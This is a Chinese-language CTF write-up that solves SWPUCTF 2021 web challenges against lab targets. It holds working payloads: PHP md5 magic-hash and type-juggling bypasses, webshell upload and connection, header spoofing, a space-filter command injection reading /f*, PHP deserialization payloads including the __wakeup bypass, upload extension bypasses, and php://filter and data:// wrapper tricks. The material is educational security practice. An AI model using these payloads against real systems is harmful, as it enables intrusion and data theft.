这篇用来记录SWPUCTF 2021 新生赛web刷题记录
gift_F12
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <script language="javascript"> function show_date_time() { flag = "WLLMCTF{We1c0me_t0_WLLMCTF_Th1s_1s_th3_G1ft}"//flag is here window.setTimeout("show_date_time()", 1000); BirthDay = new Date("10/23/2021 00:00:00"); today = new Date(); timeold = (BirthDay.getTime() - today.getTime()); sectimeold = timeold / 1000 secondsold = Math.floor(sectimeold); msPerDay = 24 * 60 * 60 * 1000 e_daysold = timeold / msPerDay daysold = Math.floor(e_daysold); e_hrsold = (e_daysold - daysold) * 24; hrsold = Math.floor(e_hrsold); e_minsold = (e_hrsold - hrsold) * 60; minsold = Math.floor((e_hrsold - hrsold) * 60); seconds = Math.floor((e_minsold - minsold) * 60); span_dt_dt.innerHTML = "还有:"+ daysold + "天 " + hrsold + "小时 " + minsold + "分钟 " + seconds + "秒 "; } show_date_time(); </script>
|
查看网页源码后找到flag
jicao
1 2 3 4 5 6 7 8 9
| <?php highlight_file('index.php'); include("flag.php"); $id=$_POST['id']; $json=json_decode($_GET['json'],true); if ($id=="wllmNB"&&$json['x']=="wllm") {echo $flag;} ?>
|
打开靶机后 给了一段源码
id需要post传参 x需要json传参
json传参格式 {“name”:”test”}
成功得到flag
easy_md5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php highlight_file(__FILE__); include 'flag2.php'; if (isset($_GET['name']) && isset($_POST['password'])){ $name = $_GET['name']; $password = $_POST['password']; if ($name != $password && md5($name) == md5($password)){ echo $flag; } else { echo "wrong!"; } } else { echo 'wrong!'; } ?>
|
明文需要不同 但是密文需要相同
因为这里是松散比较 所以有两种办法
1.使用带0e开头的数字穿进行传递参数,因为php会将0e开头的数字转化为0,故此时md5值相等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020 240610708 0e462097431906509019562988736854 314282422
|
这种办法当遇到’===’就会失效
2.md5不能加密数组,md5加密数组会返回null
(5条消息) PHP弱类型_ChanCherry、的博客-CSDN博客_php弱类型
caidao
打开后 直接就显示出来了一句话木马 知道了密码以后就可以用蚁剑连接终端 然后在根目录下获得flag
easyrce
随后我们利用burp来抓包
修改文件后缀名为php
随后结束抓包 我们利用蚁剑连接后台
1 2
| http://1.14.71.254:28963/upload/1.php //这里的后缀名比较讲究
|
但是发现这是个静态flag 很显然是错误的 因为通常的靶机都是使用uuid进行动态flag的生成
所以这里我们要想到去查看环境变量中的flag
即phpinfo()
1 2 3
| payload = http://1.14.71.254:28963/upload/1.php post: shell=phpinfo();
|
成功找到flag
Do_you_know_http
打开靶机后 网页显示: Please use ‘WLLM’ browser!
让我们使用WLLM这个浏览器 很明显没有这个浏览器 那我们可以通过burp修改User-Agent这一项参数
其是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。
当我们修改完后send 提示说success说明修改成功 然后在location下我们发现了一个新的页面 a.php 跟进一下
提示说需要我们用本地的ip访问 即127.0.0.1
于是我们在request中添加一段
1 2
| x-forwarded-for:127.0.0.1
|
可以发现成功了 在location出现了一个新的php 访问后发现flag
babyrce
1 2 3 4 5 6 7 8 9 10 11
| <?php error_reporting(0); header("Content-Type:text/html;charset=utf-8"); highlight_file(__FILE__); if($_COOKIE['admin']==1) { include "../next.php"; } else echo "小饼干最好吃啦!"; ?> 小饼干最好吃啦!
|
用burp来使admin=1
得到了一个关键网页 rasalghul.php 跟进一下看看
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php error_reporting(0); highlight_file(__FILE__); error_reporting(0); if (isset($_GET['url'])) { $ip=$_GET['url']; if(preg_match("/ /", $ip)){ die('nonono'); } $a = shell_exec($ip); echo $a; } ?>
|
屏蔽了空格 用get给url传参 这个参数会被执行
那这里就用$IFS$1替代空格就好了
1
| payload = url=cat$IFS$1/f*
|
no_wakeup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php
header("Content-type:text/html;charset=utf-8"); error_reporting(0); show_source("class.php");
class HaHaHa{
public $admin; public $passwd;
public function __construct(){ $this->admin ="user"; $this->passwd = "123456"; }
public function __wakeup(){ $this->passwd = sha1($this->passwd); }
public function __destruct(){ if($this->admin === "admin" && $this->passwd === "wllm"){ include("flag.php"); echo $flag; }else{ echo $this->passwd; echo "No wake up"; } } }
$Letmeseesee = $_GET['p']; unserialize($Letmeseesee);
?>
|
调用了_wakeup函数 是cve漏洞CVE-2016-7124
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行
编写一下序列化脚本:
1 2 3 4 5 6 7 8
| <?php class HaHaHa{ public $admin='admin'; public $passwd='wllm'; } $p = new HaHaHa(); echo serialize($p); ?>
|
1
| O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
|
将a后面的2修改成大于其值的数
1
| O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
|
成功得到flag
ez_unserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <!DOCTYPE html> <html> <head> <title>ez_unserialize</title> </head> <body> <div class="container" style="margin-top:100px"> <form class="well" style="width:220px;margin:0px auto;"> <img src="./hutao.GIF" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>咦?题目在哪捏?</h3> </form> </div> </body> </html>
<!-- User-agent: * Disallow: 什么东西呢? -->
|
主体部分没有什么值得关注的 这里看一下注释部分 user_agent:和disallow 是robots协议的特征
https://blog.csdn.net/qq_53221728/article/details/122909592
查看一下robots.txt
1 2
| User-agent: * Disallow: /cl45s.php
|
发现了一个新的网页 跟进一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php
error_reporting(0); show_source("cl45s.php");
class wllm{
public $admin; public $passwd;
public function __construct(){ $this->admin ="user"; $this->passwd = "123456"; }
public function __destruct(){ if($this->admin === "admin" && $this->passwd === "ctf"){ include("flag.php"); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo "Just a bit more!"; } } }
$p = $_GET['p']; unserialize($p);
?>
|
跟上题一样 也是反序列化漏洞 百度一下__construct有什么漏洞可以利用
(5条消息) php反序列化construct绕过,PHP反序列化漏洞_weixin_39824801的博客-CSDN博客
(5条消息) php反序列化construct绕过,PHP反序列化漏洞(1)_weixin_39730801的博客-CSDN博客
可知__construct函数是对象创建时调用 那么我们正常序列化admin和passwd就行
1 2 3 4 5 6 7 8
| <?php class wllm{ public $admin='admin'; public $passwd='ctf'; } $p = new wllm(); echo serialize($p); ?>
|
1
| O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
|
成功得到flag
easyupload2.0
和1.0那一题大差不差 这题把php文件后缀做了检测
禁止上传php文件
但是发现php文件扩展名还是可以上传成功的
1
| php3,php5,pht,phtml,phps
|
PseudoProtocols
题目初始界面
1
| hint is hear Can you find out the hint.php?
|
然后看到url是
1
| http://1.14.71.254:28411/index.php?wllm=
|
还不知道wllm有什么用 先进去hint.php看一看提示
结果为空 结合题目描述 应该是file伪协议
1
| wllm=php://filter/convert.base64-encode/resource=hint.php
|
得到一串base64编码 解码后得到
跟进一下这个页面
1 2 3 4 5 6 7 8 9 10
| <?php ini_set("max_execution_time", "180"); show_source(__FILE__); include('flag.php'); $a= $_GET["a"]; if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){ echo "success\n"; echo $flag; } ?>
|
file_get_contents这个函数是把文件r读入字符串
这里有两种办法
1.php://input
https://blog.csdn.net/sunsineq/article/details/105371129
他相当于强行以post的办法读入任意内容到a中
2.data://
data本身是数据封装器 以get的方式传参
1
| http://1.14.71.254:28411/test2222222222222.php?a=data://text/plain,I want flag
|